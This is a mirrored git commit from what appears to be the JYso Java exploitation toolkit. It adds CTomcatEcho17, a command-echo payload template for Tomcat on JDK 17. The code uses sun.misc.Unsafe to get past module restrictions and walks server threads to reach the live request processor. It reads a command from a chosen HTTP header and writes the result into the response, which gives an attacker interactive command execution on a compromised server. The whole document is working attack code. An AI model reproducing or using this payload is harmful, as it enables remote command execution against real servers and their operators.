mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
feat: 解决回显马在jdk17中只能使用一次
This commit is contained in:
@@ -0,0 +1,107 @@
|
||||
package com.qi4l.JYso.template.echoJDK17;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
// 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题
|
||||
public class CTomcatEcho17 {
|
||||
public static String CMD_HEADER;
|
||||
|
||||
public CTomcatEcho17() {
|
||||
Object originalModule = patchModule(this.getClass(), null);
|
||||
|
||||
try {
|
||||
boolean flag = false;
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||
Field f = group.getClass().getDeclaredField("threads");
|
||||
f.setAccessible(true);
|
||||
Thread[] threads = (Thread[]) f.get(group);
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Thread t = threads[i];
|
||||
if (t == null) continue;
|
||||
String str = t.getName();
|
||||
if (str.contains("exec") || !str.contains("http")) continue;
|
||||
f = t.getClass().getDeclaredField("target");
|
||||
f.setAccessible(true);
|
||||
Object obj = f.get(t);
|
||||
if (!(obj instanceof Runnable)) continue;
|
||||
f = obj.getClass().getDeclaredField("this$0");
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
try {
|
||||
f = obj.getClass().getDeclaredField("handler");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
|
||||
}
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
try {
|
||||
f = obj.getClass().getSuperclass().getDeclaredField("global");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = obj.getClass().getDeclaredField("global");
|
||||
}
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
f = obj.getClass().getDeclaredField("processors");
|
||||
f.setAccessible(true);
|
||||
java.util.List processors = (java.util.List) (f.get(obj));
|
||||
for (int j = 0; j < processors.size(); ++j) {
|
||||
Object processor = processors.get(j);
|
||||
f = processor.getClass().getDeclaredField("req");
|
||||
f.setAccessible(true);
|
||||
Object req = f.get(processor);
|
||||
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);
|
||||
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER});
|
||||
if (str != null && !str.isEmpty()) {
|
||||
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200));
|
||||
java.io.ByteArrayOutputStream baos = q(str);
|
||||
try {
|
||||
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
|
||||
obj = cls.newInstance();
|
||||
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
|
||||
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||
} catch (NoSuchMethodException var5) {
|
||||
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
|
||||
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()});
|
||||
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||
}
|
||||
flag = true;
|
||||
}
|
||||
if (flag) break;
|
||||
}
|
||||
if (flag) break;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
patchModule(this.getClass(), originalModule);
|
||||
}
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object patchModule(Class clazz, Object originalModule) {
|
||||
try {
|
||||
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) unsafeField.get(null);
|
||||
if (originalModule == null) {
|
||||
originalModule = Class.class.getMethod("getModule").invoke(Object.class);
|
||||
}
|
||||
Class currentClass = clazz;
|
||||
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
|
||||
return unsafe.getAndSetObject(currentClass, addr, originalModule);
|
||||
} catch (Exception e) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user